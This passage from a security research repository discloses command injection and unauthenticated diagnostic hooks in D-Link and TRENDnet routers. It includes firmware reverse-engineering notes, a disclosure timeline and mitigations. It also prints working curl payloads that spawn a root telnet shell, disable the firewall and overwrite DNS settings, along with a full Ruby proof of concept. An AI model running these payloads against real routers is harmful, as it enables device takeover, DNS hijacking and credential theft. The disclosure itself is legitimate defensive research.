then passed to a `system()` call. This formatting allows for an attacker to pass arbitrary commands to the device through a HTTP request. 131 | 132 | As this resource is also able to be accessed without authentication, it provides a vector for an attacker to execute arbitrary commands on the device - including, but not limited to, DNS hijacking and WAN firewall disablement - via CSRF. 133 | 134 | ```bash 135 | # Spawn a root shell (telnet) 136 | curl \ 137 | -i http://192.168.0.1/ping.ccp \ 138 | --data 'ccp_act=ping_v6&ping_addr=$(telnetd -l /bin/sh)' 139 | 140 | # Flush the iptables INPUT chain and set the default policy to ACCEPT. 141 | curl \ 142 | -i http://192.168.0.1/ping.ccp \ 143 | --data 'ccp_act=ping_v6&ping_addr=$(iptables -P INPUT ACCEPT)' 144 | curl \ 145 | -i http://192.168.0.1/ping.ccp \ 146 | --data 'ccp_act=ping_v6&ping_addr=$(iptables -F INPUT)' 147 | ``` 148 | 149 | ### UDPServer / MP Daemon 150 | 151 | Note: This vulnerability does not seem to be present in firmware versions before 1.05B03 on the DIR-820LA1, however this may differ on other platforms. 152 | 153 | The `ncc` / `ncc2` service on the affected devices appears to have been shipped with a number of diagnostic hooks available. Unfortunately, much in the same manner as the vulnerabilities discussed above, these hooks are able to be called without authentication. 154 | 155 | One of the more 'interesting' hooks exposed by these devices allow for a `UDPServer` process to be spawned on the device when called. When started, this process begins listening on the LAN IP on UDP 9034. The source for this service (`UDPServer`) is available in the RealTek SDK, and appears to be a diagnostic tool. 156 | 157 | Unfortunately, this process does not appear to perform any sort of input sanitization before passing user input to a `system()` call. As a result of the above, this process is vulnerable to arbitrary command injection. 158 | 159 | ```bash 160 | # Spawn a root shell (telnet) 161 | curl -i 192.168.0.1/test_mode.txt 162 | echo "\`telnetd -l /bin/sh\`" > /dev/udp/192.168.0.1/9034 163 | ``` 164 | 165 | ### Diagnostic hooks 166 | 167 | Further to the 'test_mode' hook discussed above, the `ncc` / `ncc2` service on the affected devices appear to have been shipped with a number of other diagnostic hooks enabled by default: 168 | 169 | * tftpd_ready.txt 170 | * chklst.txt 171 | * wps_default_pin.txt 172 | * usb_connect.txt 173 | * wps_btn.txt 174 | * reset_btn.txt 175 | * reboot_btn.txt 176 | * calibration_ready24G.txt 177 | * calibration_ready5G.txt 178 | * restore_default_finish.txt 179 | * set_mac_finish.txt 180 | * test_mode.txt 181 | * wifist.txt 182 | 183 | These resources do not exist on the filesystem of the device, nor do they appear to be static. Instead, these files appear to be rendered when queried and can be used to both interrogate the given device for information, as well as enable diagnostic services on demand. 184 | 185 | Unfortunately, these hooks are able to be queried without any form of authentication, and are accessible by attackers on the local network, over the internet via WAN management (if enabled), and via CSRF. 186 | 187 | A brief descriptions for each of these hooks is provided below. Those not listed provide either unknown functionality, or binary values which appear to represent system GPIO states (`*_btn.txt`). 188 | 189 | ##### tftp_ready.txt 190 | 191 | When queried, this resource spawns a tftp daemon which has a root directory of `/`. As TFTP requires no authentication, this service can be used to extract credentials from the device or even download files from an external storage device connected via USB. 192 | 193 | Unfortunately, due to the way this data is stored on the system, all credentials appear to be available in plain-text. These credentials can include (depending on the vendor and device configuration): 194 | 195 | * GUI / Device management credentials 196 | * Samba credentials 197 | * PPPoE credentials 198 | * Email credentials 199 | * 'MyDlink' credentials (on D-Link devices) 200 | 201 | ##### chklst.txt 202 | 203 | When queried, this resource will return the following information: 204 | 205 | * Current WLAN SSIDs 206 | * Current WLAN channels 207 | * LAN and WAN MAC addressing 208 | * Current Firmware version information 209 | * Hardware version information 210 | * Language information 211 | 212 | ##### wps_default_pin.txt 213 | 214 | When queried, this resource will return the default / factory WPS pin for the device. 215 | 216 | ##### usb_connect.txt 217 | 218 | When queried, this resource will return a binary value which indicates whether an external device is connected to the USB port on the device - or null in the case of devices that do not have an exposed USB port. 219 | 220 | This resource could potentially by used by an attacker to enumerate devices with USB storage attached. 221 | 222 | ### Analysis :: NCC2 :: ping.ccp 223 | 224 | [![YT-Embed](./images/YT-Embed.png)](http://youtu.be/lG3ueVSVCis) 225 | 226 | Of the issued listed in this document, the `ping.ccp` command injection vulnerability is arguably the worst - due to the ability for this vulnerability to be leveraged via CSRF. Simply put, it does not matter whether 'WAN management' is enabled on the device or not; visiting a webpage with a malicious javascript payload embedded is enough for an attacker to gain full access to the device. 227 | 228 | In order to understand why this is possible, let's have a look through the `jjhttpd` and `ncc2` binaries. A cursory glance seems to indicate that the `ncc2` binary is providing CGI functionality to `jjhttpd` - where `jjhttpd` is handling inbound HTTP requests and dispatching them as required. However, let's confirm that this is the case before we go too much further. 229 | 230 | Let's dump the symbol table from the `jjhttpd` binary with `readelf` and look for anything that might point us in the right direction. 231 | 232 | ![jjhttpd-readelf](./images/jjhttpd-readelf.png) 233 | 234 | Well, `do_ccp` looks like as good a place as any to start. Let's open up `do_ccp` (`0x0040d648`) in radare2 and see what we can find: 235 | 236 | ![jjhttpd-do_ccp-pdf](./images/jjhttpd-do_ccp-pdf.png) 237 | 238 | Okay, this looks like it's quite large. Doing things manually here is going to take a lot of time, and at this stage we're just attempting to work out how `ncc2` is called, not analyze `jjhttpd` itself (as the vulnerability appears to exist inside of `ncc2`). 239 | 240 | In order to speed things up, let's make Ruby do our 'dirty' work for us. There is probably a more elegant way of doing this analysis - such as the radare2 API - but as we only need to do some string mangling, flat files will get us through. 241 | 242 | To begin, we'll dump the disassembled view of `do_ccp` to file and use a combination `readelf` and `awk` to dump the GOT into a file that we can then use to correlate. It's worth noting that there is probably a nicer way of dumping the GOT directly from radare2, but I wasn't able to find a way that outputs a format similar to that of `readelf`. 243 | 244 | ![jjhttpd-got](./images/jjhttpd-dump-got.png) 245 | 246 | Now that we have all of the details we need, we can feed these files into a quick Ruby script that first reads in the GOT and builds a Ruby hash in the format of `address => name`. It then reads the disassembled view of `do_ccp` and looks for any `lw t9, N(gp)` operations. When such an operation is found, it takes the value of `N` and the known value of `gp`, sums them and looks in the GOT hash for an entry at this address: 247 | 248 | ![jjhttpd-got-merge](./images/jjhttpd-got-merge.png) 249 | 250 | ...27 lines of terribly written Ruby later and we have an easy to follow map of all `jalr` operations inside of `do_ccp` - as well as their associated addresses. Although this won't show us exactly what is going on, it allows us to quickly locate what we need inside of `do_ccp`. 251 | 252 | ![jjhttpd-ncc-socket-connect](./images/jjhttpd-ncc-socket-connect.png) 253 | 254 | Long story short, `jjhttpd` seems to be spawning a socket to an `ncc2` process, submitting the request, reading the response and closing the socket - all pretty pedestrian, but still nice to know there's no magic happening here. This also helps to confirm our suspicions that `jjhttpd` is dispatching requests to `ncc2` where the command processing is occurring, and ultimately, where the vulnerability lays. 255 | 256 | Okay, so now that `jjhttpd` is out of the way, let's have a look at `ncc2`. 257 | 258 | To start with, we'll do the same as we did for `jjhttpd` above; we'll dump the GOT and disassembled view, and correlate the two with some Ruby glue. 259 | 260 | ![ncc2-got-merge](./images/ncc2-got-merge.png) 261 | 262 | Straight away we can see something interesting - being the `__system()` call at `0x00493adc`. Let's pop this address back open in radare2 and have a look at what's being passed to this function. 263 | 264 | As we know the value of `gp` is `0x60F220` - which is calculated and stored onto the stack at the beginning of `doPingV6` (`0x004939d4`) - we can perform the rest of the operations by hand, commenting as we go. 265 | 266 | ![ncc2-system](./images/ncc2-system.png) 267 | 268 | Unfortunately, I forgot to add a comment above `0x00493ae4` but this is where the user submitted value is stored onto the stack: 269 | 270 | ![ncc2-save-contents](./images/ncc2-save-contents.png) 271 | 272 | The net result is that we now know the values of the argument registers that are used for the `__system()` call, as well as where the user provided string is ending up. Let's take the addresses for these argument registers and print their contents as strings: 273 | 274 | ![ncc2-strings](./images/ncc2-strings.png) 275 | 276 | Well, it looks like we've found out culprit at `0x547434`. 277 | 278 | The user provided value is formatted into this string in place of the first `%s`. As a result, all that is needed is to encapsulate a command into a format that will be interpreted by the shell (such as `$()`) and piggy-backed command(s) will be executed when this call is evaluated. 279 | 280 | We've managed to make it this far, so why don't we go ahead try to fix this ourselves, eh? 281 | 282 | :warning: Here be dragons. 283 | 284 | This is a very dirty 'patch' and is being shown as a proof-of-concept only. This is not for the 'faint of heart', and should only be attempted if you are comfortable with recovering your device from the bootloader. No support, nor warranty, is provided here and any attempts to replicate this patch are done so at your own risk. 285 | 286 | Now, with that out of the way... 287 | 288 | As we know that the vulnerability is due to an unsanitized string passed to a `system()` call, why not simply disable the call? My first thought was to `noop` out the offending instruction, however, this may lead to further issues. In an effort to keep things simple, why don't we replace the first part of the call with `true` - to satisfy any exit code checks - and then comment the rest of the command with `#`? 289 | 290 | Let's see if it works... 291 | 292 | ![ncc2-destroy](./images/ncc2-destroy.png) 293 | 294 | Of course, for this to be useful, we'll need to replace the `ncc` / `ncc2` binary in the GPL package for this device / firmware, recompile the image and flash it onto the device. I've gone ahead and performed this already for the DIR-820LA1 v1.02b10 firmware and confirmed that it appears to mitigate this vulnerability. 295 | 296 | Although this 'patch' only fixes the `ping.ccp` vulnerability, it saves us from 'drive-by' attacks while we wait for a fix from the vendor. The downside to this method is that D-Link do not appear to have published the GPL sources for their latest firmware builds. As a result, you may not be able to compile the latest firmware for your device, which may end in the introduction of further issues. 297 | 298 | The long and short of it is: it's probably better to use something like µBlock and blacklist your router IP - to mitigate unwanted CSRF calls against your device - while we wait for a vendor fix. 299 | -------------------------------------------------------------------------------- /Vulnerabilities/Multivendor/ncc2/images/YT-Embed.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/darkarnium/secpub/9b5401b652b9dd435a763359cf197f6aa0ac7c6a/Vulnerabilities/Multivendor/ncc2/images/YT-Embed.png -------------------------------------------------------------------------------- /Vulnerabilities/Multivendor/ncc2/images/dir-bin-true.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/darkarnium/secpub/9b5401b652b9dd435a763359cf197f6aa0ac7c6a/Vulnerabilities/Multivendor/ncc2/images/dir-bin-true.png -------------------------------------------------------------------------------- /Vulnerabilities/Multivendor/ncc2/images/jjhttpd-do_ccp-pdf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/darkarnium/secpub/9b5401b652b9dd435a763359cf197f6aa0ac7c6a/Vulnerabilities/Multivendor/ncc2/images/jjhttpd-do_ccp-pdf.png -------------------------------------------------------------------------------- /Vulnerabilities/Multivendor/ncc2/images/jjhttpd-dump-got.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/darkarnium/secpub/9b5401b652b9dd435a763359cf197f6aa0ac7c6a/Vulnerabilities/Multivendor/ncc2/images/jjhttpd-dump-got.png -------------------------------------------------------------------------------- /Vulnerabilities/Multivendor/ncc2/images/jjhttpd-got-merge.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/darkarnium/secpub/9b5401b652b9dd435a763359cf197f6aa0ac7c6a/Vulnerabilities/Multivendor/ncc2/images/jjhttpd-got-merge.png -------------------------------------------------------------------------------- /Vulnerabilities/Multivendor/ncc2/images/jjhttpd-ncc-socket-connect.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/darkarnium/secpub/9b5401b652b9dd435a763359cf197f6aa0ac7c6a/Vulnerabilities/Multivendor/ncc2/images/jjhttpd-ncc-socket-connect.png -------------------------------------------------------------------------------- /Vulnerabilities/Multivendor/ncc2/images/jjhttpd-readelf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/darkarnium/secpub/9b5401b652b9dd435a763359cf197f6aa0ac7c6a/Vulnerabilities/Multivendor/ncc2/images/jjhttpd-readelf.png -------------------------------------------------------------------------------- /Vulnerabilities/Multivendor/ncc2/images/ncc2-destroy.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/darkarnium/secpub/9b5401b652b9dd435a763359cf197f6aa0ac7c6a/Vulnerabilities/Multivendor/ncc2/images/ncc2-destroy.png -------------------------------------------------------------------------------- /Vulnerabilities/Multivendor/ncc2/images/ncc2-got-merge.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/darkarnium/secpub/9b5401b652b9dd435a763359cf197f6aa0ac7c6a/Vulnerabilities/Multivendor/ncc2/images/ncc2-got-merge.png -------------------------------------------------------------------------------- /Vulnerabilities/Multivendor/ncc2/images/ncc2-save-contents.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/darkarnium/secpub/9b5401b652b9dd435a763359cf197f6aa0ac7c6a/Vulnerabilities/Multivendor/ncc2/images/ncc2-save-contents.png -------------------------------------------------------------------------------- /Vulnerabilities/Multivendor/ncc2/images/ncc2-strings.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/darkarnium/secpub/9b5401b652b9dd435a763359cf197f6aa0ac7c6a/Vulnerabilities/Multivendor/ncc2/images/ncc2-strings.png -------------------------------------------------------------------------------- /Vulnerabilities/Multivendor/ncc2/images/ncc2-system.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/darkarnium/secpub/9b5401b652b9dd435a763359cf197f6aa0ac7c6a/Vulnerabilities/Multivendor/ncc2/images/ncc2-system.png -------------------------------------------------------------------------------- /Vulnerabilities/Multivendor/ncc2/images/ruby-r2-filter.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/darkarnium/secpub/9b5401b652b9dd435a763359cf197f6aa0ac7c6a/Vulnerabilities/Multivendor/ncc2/images/ruby-r2-filter.png -------------------------------------------------------------------------------- /Vulnerabilities/Multivendor/ncc2/ncc2.rb: -------------------------------------------------------------------------------- 1 | # NCC2 PoC. 2 | 3 | require 'pp' 4 | require 'optparse' 5 | require 'restclient' 6 | 7 | # Set defaults and parse command line arguments 8 | options = {} 9 | 10 | options[:addr] = "192.168.0.1" 11 | options[:port] = 80 12 | 13 | OptionParser.new do |option| 14 | 15 | option.on("--address [ADDRESS]", "Destination hostname or IP") do |a| 16 | options[:addr] = a 17 | end 18 | 19 | option.on("--port [PORT]", "Destination TCP port") do |p| 20 | options[:port] = p 21 | end 22 | 23 | option.parse! 24 | 25 | end 26 | 27 | # Define which SOAPActions we will be using. 28 | actions = [ 29 | { 30 | :name => "Get device information", 31 | :call => "sloppy_parser", 32 | :path => "chklst.txt", 33 | }, 34 | { 35 | :name => "Has USB device connected", 36 | :call => "txt_parser", 37 | :path => "usb_connect.txt", 38 | }, 39 | { 40 | :name => "Get WPS default pin", 41 | :call => "txt_parser", 42 | :path => "wps_default_pin.txt", 43 | }, 44 | { 45 | :name => "Enable UDPServer", 46 | :call => "noop", 47 | :path => "test_mode.txt", 48 | }, 49 | { 50 | :name => "Enable TFTP service", 51 | :call => "noop", 52 | :path => "tftpd_ready.txt", 53 | }, 54 | { 55 | :name => "Enable telnet (root)", 56 | :call => "noop", 57 | :path => "ping.ccp", 58 | :post => { 59 | "ccp_act" => "ping_v6", 60 | "ping_addr" => "$(telnetd -l /bin/sh)" 61 | } 62 | } 63 | ] 64 | 65 | def noop(val) 66 | return 67 | end 68 | 69 | def sloppy_parser(slop) 70 | slop.split(/\
/).each do |l| 71 | puts " #{l}" 72 | end 73 | end 74 | 75 | def txt_parser(txt) 76 | l = txt.gsub(/\=/, ': ') 77 | puts " #{l}" 78 | end 79 | 80 | # Iterate over all actions and attempt to execute. 81 | url = "http://#{options[:addr]}:#{options[:port]}" 82 | 83 | puts "[!] Attempting to extract information from #{url}" 84 | 85 | actions.each do |action| 86 | 87 | # Build the target URL and setup the HTTP client object. 88 | request = RestClient::Resource.new("#{url}/#{action[:path]}") 89 | 90 | # Fire the request and ensure a 200 OKAY. 91 | begin 92 | if action[:post] 93 | response = request.post(action[:post]) 94 | else 95 | response = request.get() 96 | end 97 | rescue 98 | puts "[!] Failed to query remote host." 99 | abort 100 | end 101 | 102 | if response.code != 200 103 | puts "[-] '#{action[:name]}' failed with response: #{response.code}" 104 | next 105 | end 106 | 107 | # Send to the processor. 108 | puts "[*] #{action[:name]} request succeeded." 109 | send(action[:call], response.body()) 110 | 111 | end -------------------------------------------------------------------------------- /Vulnerabilities/Multivendor/ncc2/ncc2.txt: -------------------------------------------------------------------------------- 1 | >> D-Link and TRENDnet 'ncc2' service - multiple vulnerabilities 2 | 3 | Discovered by: 4 | ---- 5 | Peter Adkins 6 | Tiago Caetano Henriques (Balgan) (See notes) 7 | 8 | Access: 9 | ---- 10 | Local network; unauthenticated access. 11 | Remote network; unauthenticated access*. 12 | Remote network; 'drive-by' via CSRF. 13 | 14 | Tracking and identifiers: 15 | ---- 16 | CVE - Mitre contacted; not yet allocated. 17 | CVE - ping.ccp - CVE-2015-1187 (See notes) 18 | 19 | Platforms / Firmware confirmed affected: 20 | ---- 21 | D-Link DIR-626L (Rev A) - v1.04b04 22 | D-Link DIR-636L (Rev A) - v1.04 23 | D-Link DIR-808L (Rev A) - v1.03b05 24 | D-Link DIR-810L (Rev A) - v1.01b04 25 | D-Link DIR-810L (Rev B) - v2.02b01 26 | D-Link DIR-820L (Rev A) - v1.02B10 27 | D-Link DIR-820L (Rev A) - v1.05B03 28 | D-Link DIR-820L (Rev B) - v2.01b02 29 | D-Link DIR-826L (Rev A) - v1.00b23 30 | D-Link DIR-830L (Rev A) - v1.00b07 31 | D-Link DIR-836L (Rev A) - v1.01b03 32 | TRENDnet TEW-731BR (Rev 2) - v2.01b01 33 | 34 | Additional platforms believed to be affected: 35 | ---- 36 | * D-Link DIR-651 (Rev A) - v1.10NAb02 - found by Stefan Viehböck (@sviehb) 37 | * TRENDnet TEW-651BR (v2.XR) - vUNKNOWN - found by Stefan Viehböck (@sviehb) 38 | * TRENDnet TEW-652BRP (v3.XR) - vUNKNOWN - found by Stefan Viehböck (@sviehb) 39 | * TRENDnet TEW-711BR (Rev 1) - v1.00b31 - found by @dyngnosis 40 | * TRENDnet TEW-810DR (Rev 1) - v1.00b19 - found by @dyngnosis 41 | * TRENDnet TEW-813DRU (Rev 1) - v1.00b23 - found by @dyngnosis 42 | 43 | Vendor involvement: 44 | ---- 45 | 2015-01-11 - Issues reported to D-Link via email (security contact). 46 | 2015-01-11 - Issues reported to TRENDnet via support ticket. 47 | 2015-01-12 - Initial response from TRENDnet. 48 | 2015-01-14 - Initial response from D-Link (security contact). 49 | 2015-01-19 - Email to Mitre. 50 | 2015-01-19 - TRENDnet request a few days to validate vulnerabilities. 51 | 2015-01-26 - TRENDnet confirm vulnerabilities and commit to Feb 10 fix. 52 | 2015-02-01 - Initial response from Mitre. 53 | 2015-02-04 - Requested an update from D-Link (security contact). 54 | 2015-02-10 - TRENDnet release 2.02b01 resolving vulnerabilities. 55 | 2015-02-10 - Emailed Mitre requesting follow up. 56 | 2015-02-10 - Emailed D-Link requesting follow up (security contact). 57 | 2015-02-18 - Emailed D-Link requesting follow up (security contact). 58 | 2015-02-21 - Contacted D-Link support as I had not still not heard back. 59 | 2015-02-22 - D-Link support were unsure as to my query. 60 | 2015-02-22 - Replied to D-Link support clarifying my request. 61 | 2015-02-23 - D-Link support directed me to the security reporting guide. 62 | 2015-02-26 - Vulnerability published to Bugtraq and GitHub. 63 | 2015-03-02 - D-Link published advisory [SAP10052](http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10052) regarding issue. 64 | 65 | Mitigation: 66 | ---- 67 | * Ensure remote / WAN management is disabled on the affected devices. 68 | 69 | * Only allow trusted devices access to the local network. 70 | 71 | * If using a listed TRENDnet device, install the patched firmware issued 72 | by the vendor. 73 | 74 | * If using a listed D-Link device, you'll need to use a third party tool 75 | such as µBlock (Chrome, Firefox and Safari) to blacklist requests to 76 | your router. This isn't ideal, but it's better than the alternative. 77 | 78 | Notes: 79 | ---- 80 | * I was contacted on the morning of March 3rd 2015 (PDT) and informed 81 | that the `ping.ccp` vulnerability had already been found INDEPENDENTLY 82 | on November 30th 2014 by Tiago Caetano Henriques. This was reported to 83 | Swisscom CSIRT on December 18th 2014. The advisory for which has since 84 | been published at: 85 | 86 | http://seclists.org/fulldisclosure/2015/Mar/15 87 | 88 | * Due to the nature of the the 'ping.ccp' vulnerability, an attacker can 89 | gain root access, hijack DNS settings or execute arbitrary commands on 90 | these devices with the user simply visiting a web page with a malicious 91 | HTTP form embedded (via CSRF). 92 | 93 | * Due to the location of this issue (ncc / ncc2) these vulnerabilities 94 | may be present in other devices and firmware versions not listed in this 95 | document. 96 | 97 | * D-Link initially responded on their security contact within a week. 98 | However, after I had provided write ups of these vulnerabilities it went 99 | quiet. In over a month I have been unable to get any sort of response 100 | from D-Link, including as to whether they have managed to replicate 101 | these issues or when there will be a fix. I contacted D-Link support as 102 | a last ditch effort to reestablish contact, however I was linked back to 103 | the same security reporting process I had followed initially. 104 | 105 | * Remote execution of these exploits is possible, but requires the 106 | device to already have remote / WAN management enabled; except in the 107 | case of 'ping.ccp', as above. 108 | 109 | * If you have a D-Link device that is believed to be affected and can 110 | confirm whether the PoC is successful, please let me know and I will 111 | update the copy of this document on GitHub (see below) and provide 112 | credit for your findings. 113 | 114 | * A copy of this document, as well as the proof of concept below and a 115 | more detailed write-up has been made available via GitHub: 116 | 117 | * https://github.com/darkarnium/secpub/tree/master/Multivendor/ncc2 118 | 119 | ---- 120 | fwupgrade.ccp 121 | ---- 122 | 123 | The ncc / ncc2 service on the affected devices allows for basic firmware 124 | and language file upgrades via the web interface. During the operation, 125 | a HTTP POST is submitted to a resource named 'fwupgrade.ccp'. 126 | 127 | The request appears to be executed by the ncc / ncc2 service on the 128 | device, which runs as the root user. 129 | 130 | Unfortunately, the filtering on this resource does not appear to be 131 | effective, as: file / MIME type filtering is not being performed; and 132 | the 'on-failure' redirection to the login page is being performed AFTER 133 | a file has already been written the the filesystem in full. 134 | 135 | As a result of the above, this resource can be used to upload files to 136 | the filesystem of devices running vulnerable versions of ncc / ncc2 137 | without authentication. This is also possible over the internet if 138 | WAN / remote management has been previously enabled on the device. 139 | 140 | To compound the issue, at least in the case of the listed devices, files 141 | are written to a ramfs filesystem which is mounted at '/var/tmp'. This 142 | becomes an issue as this directory is also used to store volatile system 143 | configuration files - as the root filesystem is mounted read-only. 144 | 145 | The files under '/var/tmp' include 'resolv.conf', allowing for an 146 | attacker to hijack a user's DNS configuration: 147 | 148 | # Overwrite the DNS resolver with Google DNS 149 | echo 'nameserver 8.8.8.8' > resolv.conf 150 | curl \ 151 | -i http://192.168.0.1/fwupgrade.ccp \ 152 | -F action=fwupgrade \ 153 | -F filename=resolv.conf \ 154 | -F file=@resolv.conf 155 | 156 | ---- 157 | ping.ccp 158 | ---- 159 | 160 | The ncc / ncc2 service on the affected devices allow for basic 'ping' 161 | diagnostics to be performed via the 'ping.ccp' resource. Unfortunately, 162 | it appears that strings passed to this call are not correctly sanitized. 163 | 164 | Much in the same manner as above, the request appears to be executed by 165 | the ncc / ncc2 service on the device, which is run as the root user. 166 | 167 | The handler for 'ping_v4' does not appear to be vulnerable as this 168 | resource maps the components of a IPv4 address, represented by a dotted 169 | quad, into a format of '%u.%u.%u.%u' at execution time. 170 | 171 | However, 'ping_ipv6' references the user provided input directly as a 172 | string ('%s'), which is then passed to a system() call. This formatting 173 | allows for an attacker to pass arbitrary commands to the device through 174 | a HTTP request. 175 | 176 | As this resource is also able to be accessed without authentication, it 177 | provides a vector for an attacker to execute arbitrary commands on the 178 | device - including, but not limited to, DNS hijacking and WAN firewall 179 | disablement - via CSRF. 180 | 181 | # Spawn a root shell (telnet) 182 | curl \ 183 | -i http://192.168.0.1/ping.ccp \ 184 | --data 'ccp_act=ping_v6&ping_addr=$(telnetd -l /bin/sh)' 185 | 186 | # Flush the iptables INPUT chain and set the default policy to ACCEPT. 187 | curl \ 188 | -i http://192.168.0.1/ping.ccp \ 189 | --data 'ccp_act=ping_v6&ping_addr=$(iptables -P INPUT ACCEPT)' 190 | curl \ 191 | -i http://192.168.0.1/ping.ccp \ 192 | --data 'ccp_act=ping_v6&ping_addr=$(iptables -F INPUT)' 193 | 194 | ---- 195 | UDPServer / MP Daemon 196 | ---- 197 | 198 | Note: This vulnerability does not seem to be present in firmware 199 | versions before 1.05B03 on the DIR-820LA1. This may differ on other 200 | platforms. 201 | 202 | The ncc / ncc2 service on the affected devices appears to have been 203 | shipped with a number of diagnostic hooks available. Unfortunately, much 204 | in the same manner as the vulnerabilities discussed above, these hooks 205 | are able to be called without authentication. 206 | 207 | These hooks are also callable via CSRF; although a moot point given that 208 | the 'ping.ccp' vulnerability discussed above already yields a higher 209 | level of access to the device via the same manner. 210 | 211 | One of the more 'interesting' hooks exposed by these devices allow for 212 | a 'UDPServer' process to be spawned on the device when called. When 213 | started this process listens on the devices LAN IP for data on UDP 9034. 214 | 215 | Unfortunately, this process does not appear to perform any sort of input 216 | sanitization before passing user input to a system() call. Further 217 | investigation finds that the source for this service (UDPServer) is 218 | available in the RealTek SDK, and appears to be a diagnostic tool. 219 | 220 | As a result of the above, this process is vulnerable to arbitrary 221 | command injection. 222 | 223 | # Spawn a root shell (telnet) 224 | curl -i 192.168.0.1/test_mode.txt 225 | echo "\`telnetd -l /bin/sh\`" > /dev/udp/192.168.0.1/9034 226 | 227 | ---- 228 | Diagnostic hooks 229 | ---- 230 | 231 | Further to the 'test_mode' hook discussed above, the ncc / ncc2 service 232 | on the affected devices appear to have been shipped with a number of 233 | other diagnostic hooks enabled by default: 234 | 235 | * tftpd_ready.txt 236 | * chklst.txt 237 | * wps_default_pin.txt 238 | * usb_connect.txt 239 | * wps_btn.txt 240 | * reset_btn.txt 241 | * reboot_btn.txt 242 | * calibration_ready24G.txt 243 | * calibration_ready5G.txt 244 | * restore_default_finish.txt 245 | * set_mac_finish.txt 246 | * test_mode.txt 247 | * wifist.txt 248 | 249 | These resources do not exist on the filesystem of the device, nor do 250 | they appear to be static. Instead, these files appear to be rendered 251 | when queried and can be used to both interrogate the given device for 252 | information, as well as enable diagnostic services on demand. 253 | 254 | Unfortunately, these hooks are able to be queried without any form of 255 | authentication, and are accessible by attackers on the local network, 256 | and over the internet via WAN management (if enabled), and CSRF. 257 | 258 | A brief descriptions for each of these hooks is provided below. Those 259 | not listed provide either unknown functionality, or binary values which 260 | appear to represent system GPIO states (*_btn.txt). 261 | 262 | - tftp_ready.txt 263 | 264 | When queried, this resource spawns a tftp daemon which has a root 265 | directory of '/'. As TFTP requires no authentication, this service can 266 | be used to extract credentials from the device or even download files 267 | from an external storage device connected via USB. 268 | 269 | Unfortunately, due to the way this data is stored on the system, all 270 | credentials appear to be available in plain-text. These credentials can 271 | include (depending on the vendor and device configuration): 272 | 273 | * GUI / Device management credentials 274 | * Samba credentials 275 | * PPPoE credentials 276 | * Email credentials 277 | * 'MyDlink' credentials (on D-Link devices) 278 | 279 | - chklst.txt 280 | 281 | When queried, this resource will return the following information: 282 | 283 | * Current WLAN SSIDs 284 | * Current WLAN channels 285 | * LAN and WAN MAC addressing 286 | * Current Firmware version information 287 | * Hardware version information 288 | * Language information 289 | 290 | - wps_default_pin.txt 291 | 292 | When queried, this resource will return the default / factory WPS pin 293 | for the device. 294 | 295 | - usb_connect.txt 296 | 297 | When queried, this resource will return a binary value which indicates 298 | whether an external device is connected to the USB port on the device - 299 | or null in the case of devices that do not have an exposed USB port. 300 | 301 | This resource could potentially by used by an attacker to enumerate 302 | devices with USB storage attached. 303 | 304 | ---- 305 | Ruby PoC 306 | ---- 307 | 308 | # NCC2 PoC. 309 | 310 | require 'pp' 311 | require 'optparse' 312 | require 'restclient' 313 | 314 | # Set defaults and parse command line arguments 315 | options = {} 316 | 317 | options[:addr] = "192.168.0.1" 318 | options[:port] = 80 319 | 320 | OptionParser.new do |option| 321 | 322 | option.on("--address [ADDRESS]", "Destination hostname or IP") do |a| 323 | options[:addr] = a 324 | end 325 | 326 | option.on("--port [PORT]", "Destination TCP port") do |p| 327 | options[:port] = p 328 | end 329 | 330 | option.parse! 331 | 332 | end 333 | 334 | # Define which SOAPActions we will be using. 335 | actions = [ 336 | { 337 | :name => "Get device information", 338 | :call => "sloppy_parser", 339 | :path => "chklst.txt", 340 | }, 341 | { 342 | :name => "Has USB device connected", 343 | :call => "txt_parser", 344 | :path => "usb_connect.txt", 345 | }, 346 | { 347 | :name => "Get WPS default pin", 348 | :call => "txt_parser", 349 | :path => "wps_default_pin.txt", 350 | }, 351 | { 352 | :name => "Enable UDPServer", 353 | :call => "noop", 354 | :path => "test_mode.txt", 355 | }, 356 | { 357 | :name => "Enable TFTP service", 358 | :call => "noop", 359 | :path => "tftpd_ready.txt", 360 | }, 361 | { 362 | :name => "Enable telnet (root)", 363 | :call => "noop", 364 | :path => "ping.ccp", 365 | :post => { 366 | "ccp_act" => "ping_v6", 367 | "ping_addr" => "$(telnetd -l /bin/sh)" 368 | } 369 | } 370 | ] 371 | 372 | def noop(val) 373 | return 374 | end 375 | 376 | def sloppy_parser(slop) 377 | slop.split(/\
/).each do |l| 378 | puts " #{l}" 379 | end 380 | end 381 | 382 | def txt_parser(txt) 383 | l = txt.gsub(/\=/, ': ') 384 | puts " #{l}" 385 | end 386 | 387 | # Iterate over all actions and attempt to execute. 388 | url = "http://#{options[:addr]}:#{options[:port]}" 389 | 390 | puts "[!] Attempting to extract information from #{url}" 391 | 392 | actions.each do |action| 393 | 394 | # Build the target URL and setup the HTTP client object. 395 | request = RestClient::Resource.new("#{url}/#{action[:path]}") 396 | 397 | # Fire the request and ensure a 200 OKAY. 398 | begin 399 | if action[:post] 400 | response = request.post(action[:post]) 401 | else 402 | response = request.get() 403 | end 404 | rescue 405 | puts "[!] Failed to query remote host." 406 | abort 407 | end 408 | 409 | if response.code != 200 410 | puts "[-] '#{action[:name]}' failed with response: #{response.code}" 411 | next 412 | end 413 | 414 | # Send to the processor. 415 | puts "[*] #{action[:name]} request succeeded." 416 | send(action[:call], response.body()) 417 | 418 | end -------------------------------------------------------------------------------- /Vulnerabilities/NetGear/SOAPWNDR/README.md: -------------------------------------------------------------------------------- 1 | ## NetGear WNDR Authentication Bypass / Information Disclosure 2 | 3 | ##### Discovered by: 4 | * Peter Adkins <peter.adkins@kernelpicnic.net> 5 | 6 | ##### Access: 7 | * Local network; unauthenticated access. 8 | * Remote network; 